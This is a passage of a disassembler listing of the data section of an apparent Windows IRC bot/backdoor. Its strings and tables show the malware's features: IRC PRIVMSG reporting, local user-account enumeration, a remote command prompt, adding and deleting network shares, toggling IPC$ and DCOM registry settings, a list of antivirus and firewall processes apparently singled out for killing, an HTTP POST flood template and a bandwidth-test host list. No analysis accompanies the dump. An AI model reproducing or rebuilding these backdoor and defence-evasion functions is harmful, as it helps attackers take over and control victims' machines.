db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_441418 db 2Dh ; - ; DATA XREF: sub_41979A+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41979A+36Ao
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41979A+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41979A+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41979A+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41979A+2C4o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41979A+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41979A+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41979A+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41979A+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41979A+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41979A+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41979A+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41979A+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41979A+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41979A+125o
aGuest db 'Guest',0 ; DATA XREF: sub_41979A:loc_4198B3o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_41979A:loc_4198ACo
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41979A+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41979A+ACo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41979A+81o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_41979A+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419B68+14Fo
align 4
unk_4415C4 db 2Dh ; - ; DATA XREF: sub_419B68+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_6 db ' %S',0 ; DATA XREF: sub_419B68+BEo
align 4
unk_4415F8 db 2Dh ; - ; DATA XREF: sub_419B68+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419B68+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419CE8:loc_419E05o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419CE8:loc_419DFEo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419CE8:loc_419DF7o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419DF0o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419CE8:loc_419DE9o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_419CE8:loc_419DCCo
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419CE8:loc_419DC5o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419CE8:loc_419DBEo
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_419CE8+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_419CE8:loc_419D93o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D8Co
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_419CE8:loc_419D85o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419CE8:loc_419D7Bo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419CE8+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D55o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419CE8:loc_419D4Bo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419CE8:loc_419D41o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_419CE8:loc_419D37o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419CE8:loc_419D2Do
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419CE8+3Bo
align 10h
dword_441900 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: .nsp0:00419EC7o
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_44192C db 2Dh ; - ; DATA XREF: .nsp0:00419E9Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_441954 dd 7530h off_441958 dd offset aRegedit_exe ; DATA XREF: sub_419F45+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_441A60
dd offset dword_441A54
dd offset dword_441A48
dd offset dword_441A3C
dd offset dword_441A30
dd offset dword_441A24
dd offset dword_441A14
dd offset dword_441A08
dd offset dword_4419FC
dd offset dword_4419F0
dd offset dword_4419E4
dd offset dword_4419D4
dd offset dword_4419C8
dd offset dword_4419B8
dword_4419B8 dd 72313169h, 346E3435h, 6578652Eh, 0 ; .nsp0:004419B4o
dword_4419C8 dd 6E757269h, 78652E34h, 65hdword_4419D4 dd 75643364h, 74616470h, 78652E65h, 65hdword_4419E4 dd 65746172h, 6578652Eh, 0dword_4419F0 dd 74617373h, 78652E65h, 65hdword_4419FC dd 736E6977h, 652E7379h, 6578hdword_441A08 dd 756E6977h, 652E6470h, 6578hdword_441A14 dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_441A24 dd 61656262h, 2E656C67h, 657865hdword_441A30 dd 696E6550h, 2E323373h, 657865hdword_441A3C dd 6B656574h, 2E736469h, 657865hdword_441A48 dd 4C42534Dh, 2E545341h, 657865hdword_441A54 dd 7663736Dh, 2E323362h, 657865hdword_441A60 dd 69737973h, 2E6F666Eh, 657865haPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .nsp0:0044197Co
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .nsp0:00441978o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .nsp0:00441974o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .nsp0:00441970o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .nsp0:0044196Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .nsp0:00441968o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .nsp0:00441964o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .nsp0:00441960o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .nsp0:0044195Co
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .nsp0:off_441958o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419F45+191o
align 10h
unk_441B10 db 2Dh ; - ; DATA XREF: sub_41A174:loc_41A1FBo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_441B34 db 2Dh ; - ; DATA XREF: sub_41A174+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_441B58 db 2Dh ; - ; DATA XREF: sub_41A174+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A311+33o
unk_441B88 db 2Dh ; - ; DATA XREF: .nsp0:loc_41A4CAo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
dword_441C68 dd 1D4C0h align 10h
off_441C70 dd offset dword_441CA8 ; DATA XREF: sub_41A702+1B3o
; sub_41AA26+17Ao
align 8
dd offset dword_441CA0
align 10h
off_441C80 dd offset dword_441C9C ; DATA XREF: sub_41AA26+1E3o
dd offset dword_441C98
dd offset dword_441C94
dd offset dword_441C90
dword_441C90 dd 5C3A44h ; .nsp0:00441C8Co
dword_441C94 dd 2444h dword_441C98 dd 5C3A43h dword_441C9C dd 2443h dword_441CA0 dd 494D4441h, 244Ehdword_441CA8 dd 24435049h, 0 dword_441CB0 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26+2D8o
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_441CE0 dd 234032Dh, 75636573h, 3026572haNetworkSharesD db '- Network shares deleted.',0
align 4
dword_441D08 dd 234032Dh, 75636573h, 3026572haFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_441D34 dd 234032Dh, 75636573h, 3026572haShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_441D58 dd 234032Dh, 75636573h, 3026572haFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_441D84 dd 234032Dh, 75636573h, 3026572haShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_441DA8 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26:loc_41AB54o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_441DD8 dd 234032Dh, 75636573h, 3026572haFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_441E14 dd 234032Dh, 75636573h, 3026572haRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_441E48 dd 234032Dh, 75636573h, 3026572haFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A702+EDo
; sub_41AA26+EDo
align 4
dword_441E98 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_441EC8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A702:loc_41A76Fo
dd 62617369h, 2E64656Ch, 0
dword_441EE8 dd 234032Dh, 75636573h, 3026572haDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A702+54o
; sub_41AA26+54o
align 4
dword_441F18 dd 234032Dh, 75636573h, 3026572haNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41AA26+22Ao
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41AA26+219o
dword_441F48 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26:loc_41AC93o
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_441F70 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26+266o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_441F90 dd 234032Dh, 75636573h, 3026572haFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_441FCC dd 234032Dh, 75636573h, 3026572haUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_442004 dd 234032Dh, 75636573h, 3026572haFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_442044 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41AA26:loc_41AA93o
dd 6C62616Eh, 2E6465h
dword_442060 dd 234032Dh, 75636573h, 3026572haEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AD75+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_4420B8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41AF50+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AF50+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AF50+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AF50+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AF50+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AF50+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AF50+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AF50+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AF50+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AF50+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AF50+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AF50+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AF50+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AF50+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AF50+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AF50+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AF50+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AF50+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AF50+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AF50+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AF50+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AF50+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AF50+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AF50+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AF50+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AF50+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AF50+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41B12D+52o
dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh, 4D3A6464h, 793A4D4Dh
dd 797979h
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B2E4:loc_41B448o
align 10h
aSS_2 db '%s (%s)',0 ; DATA XREF: sub_41B2E4+EBo
dword_4423D8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B598+ABo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_44241C dd offset loc_412F4E ; DATA XREF: sub_41B598:loc_41B60Co
off_442420 dd offset dword_4E414C ; DATA XREF: sub_41B598:loc_41B605o
dword_442424 dd 6C616944h, 70752Dhdword_44242C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_44243C db 2Dh ; - ; DATA XREF: sub_41B65E:loc_41B817o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConn_0 db ' Failed to connect to HTTP server.',0
align 4
unk_44246C db 2Dh ; - ; DATA XREF: sub_41B65E:loc_41B810o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_442498 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B65E+1A0o
dd 4C525520h, 2Eh
unk_4424B4 db 2Dh ; - ; DATA XREF: sub_41B65E:loc_41B7F1o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_4424F0 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B65E+18Co
dd 64657469h, 2Eh
dword_44250C dd 2A2F2Ah dword_442510 dd 1 align 10h
dword_442520 dd 173Fh dd 9875h, 9873h
off_44252C dd offset sub_41CDE8 ; DATA XREF: sub_41BE34r
dd offset nullsub_2
dd offset nullsub_2
dword_442538 dd 1B3Fh dword_44253C dd 19930520h, 4 dup(0) ; sub_41D2EA+2o
off_442550 dd offset sub_41BE72 ; DATA XREF: sub_41E0F9+1Cr
dword_442554 dd 2 ; sub_4234E5+46r ...
dd 10h
dword_44255C dd 3F8h ; sub_41BC09+5r ...
off_442560 dd offset word_44256A ; DATA XREF: sub_41BD9E+23r
; sub_41BD9E:loc_41BDFFr ...
off_442564 dd offset word_44256A ; DATA XREF: sub_426A53+18r
db 2 dup(0)
word_44256A dw 20h ; DATA XREF: sub_424C7C+18r
; .nsp0:off_442560o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_44276C dd 1 ; sub_41BD9E:loc_41BDEAr ...
byte_442770 db 2Eh ; DATA XREF: sub_420375:loc_420669r
; sub_420375+311r ...
align 4
dd 1
off_442778 dd offset aNull_0 ; DATA XREF: sub_41F504:loc_41F868r
; sub_41F504+457r
; "(null)"
off_44277C dd offset aNull ; DATA XREF: sub_41F504+259r
; "(null)"
byte_442780 db 1 ; DATA XREF: .nsp0:0041FDEFr
db 2, 4, 8
align 8
dword_442788 dd 3A4h dword_44278C dd 82798260h, 21h, 0dword_442798 dd 0DFA6h align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_442878 dd 1 ; sub_420244+Co
dword_44287C dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4429E0 dd 0D2D0920h, 5Dh ; sub_420375:loc_4208DCo
dword_4429E8 dd 5Dh, 0 dword_4429F0 dd 14h off_4429F4 dd offset aExp ; DATA XREF: sub_421489:loc_4214A6r
; "exp"
dd 1Dh, 42784Ch, 1Ah, 427848h, 1Bh, 427840h, 1Fh, 427838h
dd 13h, 427830h, 21h, 427828h, 0Eh, 427820h, 0Dh, 427818h
dd 0Fh, 427810h, 10h, 427808h, 5, 427800h, 1Eh, 4277FCh
dd 12h, 4277F8h, 20h, 4277F4h, 0Ch, 4277ECh, 0Bh, 4277E4h
dd 15h, 4277DCh, 1Ch, 4277D4h, 19h, 4277CCh, 11h, 4277C4h
dd 18h, 4277BCh, 16h, 4277B4h, 17h, 4277ACh, 22h, 4277A8h
dd 23h, 4277A4h, 24h, 4277A0h
dbl_442AC8 dq 1.797693134862316e308 ; DATA XREF: sub_4211C4+B7r
; sub_4211C4:loc_4212ABr ...
dd 0
dd 0FFF80000h
dbl_442AD8 dq 1.797693134862316e308 ; DATA XREF: sub_4211C4+92r
; sub_4211C4:loc_421283r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_442AF0 dt 2.3562723457267347066e313 ; DATA XREF: sub_421671+Dr
; sub_421671+1Fr
align 4
tbyte_442AFC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421671+31r
align 4
off_442B08 dd offset sub_424563 ; DATA XREF: sub_41CE00+Fw
; sub_41F504+3AAr
off_442B0C dd offset sub_424563 ; DATA XREF: sub_41CE00+5w
; sub_41F504+3E2r
off_442B10 dd offset sub_424563 ; DATA XREF: sub_41CE00+14w
; sub_420375+430r
off_442B14 dd offset sub_424563 ; DATA XREF: sub_41CE00+1Ew
; sub_41F504+3CBr
off_442B18 dd offset sub_424563 ; DATA XREF: sub_41CE00+28w
off_442B1C dd offset sub_424563 ; DATA XREF: sub_41CE00+32w
dd offset sub_42456C
dd 3 dup(0)
dd offset sub_4223CC
off_442B34 dd offset sub_4223CC ; DATA XREF: sub_422422+29r
off_442B38 dd offset dword_4E1940 ; DATA XREF: sub_422563+55o
align 10h
dd offset dword_4E1940
dd 101h
dword_442B48 dd 2 dup(0) dd 1000h, 0
dword_442B58 dd 3 dup(0) ; sub_41F3EF+50o ...
dd 2, 1, 3 dup(0)
dword_442B78 dd 3 dup(0) ; sub_4202AB:loc_4202C9o
dd 2 dup(2), 7 dup(0)
dword_442BA8 dd 84h dup(0) dword_442DB8 dd 0C0000005h ; sub_422D4B+Ar ...
dword_442DBC dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_442E30 dd 3 ; sub_425781+C8r
dword_442E34 dd 7 ; sub_425781+CDr
dword_442E38 dd 0Ah ; sub_4258AE+4r
dword_442E3C dd 8Ch ; .nsp0:00422C99w ...
dword_442E40 dd 0FFFFFFFFh, 0A00h ; sub_41F3EF:loc_41F4ACo
dword_442E48 dd 2 ; sub_4234E5+28r
off_442E4C dd offset aR6002FloatingP ; DATA XREF: sub_4234E5+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B6Ch, 9, 427B40h, 0Ah, 427B1Ch, 10h, 427AF0h
dd 11h, 427AC0h, 12h, 427A9Ch, 13h, 427A70h, 18h, 427A38h
dd 19h, 427A10h, 1Ah, 4279D8h, 1Bh, 4279A0h, 1Ch, 427978h
dd 78h, 427968h, 79h, 427958h, 7Ah, 427948h, 0FCh, 43BB50h
dd 0FFh, 427938h
dword_442ED8 dd 2 dup(0) dword_442EE0 dd 2694h ; sub_420E79+46r
align 8
dword_442EE8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_442F00 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_442F18 dd 7080h ; sub_42464C+5Ew ...
dword_442F1C dd 1 ; sub_42464C+8Bw ...
dword_442F20 dd 0FFFFF1F0h ; sub_42464C+94w ...
dword_442F24 dd 545350h, 0Fh dup(0)dword_442F64 dd 544450h, 0Fh dup(0)off_442FA4 dd offset dword_442F24 ; DATA XREF: sub_42464C+BAr
; sub_42464C+D9r ...
off_442FA8 dd offset dword_442F64 ; DATA XREF: sub_42464C+F4r
; sub_42464C+11Br ...
align 10h
dword_442FB0 dd 0FFFFFFFFh ; sub_4248AA+1Er ...
dword_442FB4 dd 0 ; sub_424A56+BFw
dword_442FB8 dd 0 ; sub_424A56+E0w
align 10h
dword_442FC0 dd 0FFFFFFFFh ; sub_4248AA+26r ...
dword_442FC4 dd 0 ; sub_424A56+EAw ...
dword_442FC8 dd 0 ; sub_424A56+23r ...
dword_442FCC dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_442FFC dd 16Dh ; sub_424A56+2Er ...
dword_443000 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_443038 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_443198 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425C06+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
